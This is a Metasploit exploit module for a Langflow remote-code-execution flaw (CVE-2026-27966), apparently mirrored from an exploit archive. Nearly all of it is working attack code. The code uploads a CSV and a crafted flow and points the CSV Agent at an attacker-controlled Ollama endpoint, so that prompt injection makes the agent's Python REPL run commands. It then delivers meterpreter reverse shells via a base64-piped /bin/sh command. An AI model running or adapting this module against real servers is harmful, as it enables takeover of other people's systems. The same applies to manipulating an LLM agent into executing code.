Share
## https://sploitus.com/exploit?id=PACKETSTORM:219709
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Post::File
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow RCE',
            'Description' => %q{
              The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
              As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
            },
            'Author' => [
              'weblover12',        # Vulnerability discovery and PoC
              'Takahiro Yokoyama'  # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27966'],
              ['GHSA', '3645-fxcv-hqr4'],
            ],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'WfsDelay' => 300,
              'FETCH_DELETE' => true
            },
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2026-02-25',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(7860),
            OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
            OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
            OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/version')
        })
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        json_version = res&.get_json_document&.fetch('version', nil)
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
    
        version = Rex::Version.new(json_version)
        return Exploit::CheckCode::Unknown('Failed to get version.') unless version
    
        return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')
    
        # check if API key is valid
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200
    
        Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
      end
    
      def exploit
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          },
          'data' => {
            'name' => rand_text_alphanumeric(8),
            'description' => 'string',
            'components_list' => [],
            'flows_list' => []
          }.to_json
        })
        @folder_id = res&.get_json_document&.fetch('id', nil)
        fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
        print_status("Project: #{@folder_id}")
    
        # construct POST data
        fname = "#{rand_text_alphanumeric(8)}.csv"
        data = Rex::MIME::Message.new
        data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v2/files'),
          'method' => 'POST',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          },
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s
        })
        path = res&.get_json_document&.fetch('path')
        fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
        @fid = res&.get_json_document&.fetch('id')
    
        exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
        exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
        exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
        exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
        exploit_data = exploit_data.gsub('__FILEPATH__', path)
        case target['Arch']
        when ARCH_PYTHON
          payload_data = payload.encode
        else
          payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')"
        end
        exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data)
        exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
        # construct POST data
        data = Rex::MIME::Message.new
        data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")
    
        # Import a flow
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'vars_get' => { 'folder_id' => @folder_id },
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
        flow_id = res&.get_json_document&.first&.fetch('id', nil)
        fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
        print_status("Flow: #{flow_id}")
    
        # Execute
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        job = res&.get_json_document&.fetch('job_id')
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
        print_status("Job: #{job}")
        print_status('Waiting...')
      end
    
      def cleanup
        super
        if @fid
          send_request_cgi({
            'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
            'method' => 'DELETE',
            'headers' => {
              'x-api-key' => datastore['APIKEY']
            }
          })
        end
        if @folder_id
          send_request_cgi({
            'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
            'method' => 'DELETE',
            'headers' => {
              'x-api-key' => datastore['APIKEY']
            }
          })
        end
      end
    
    end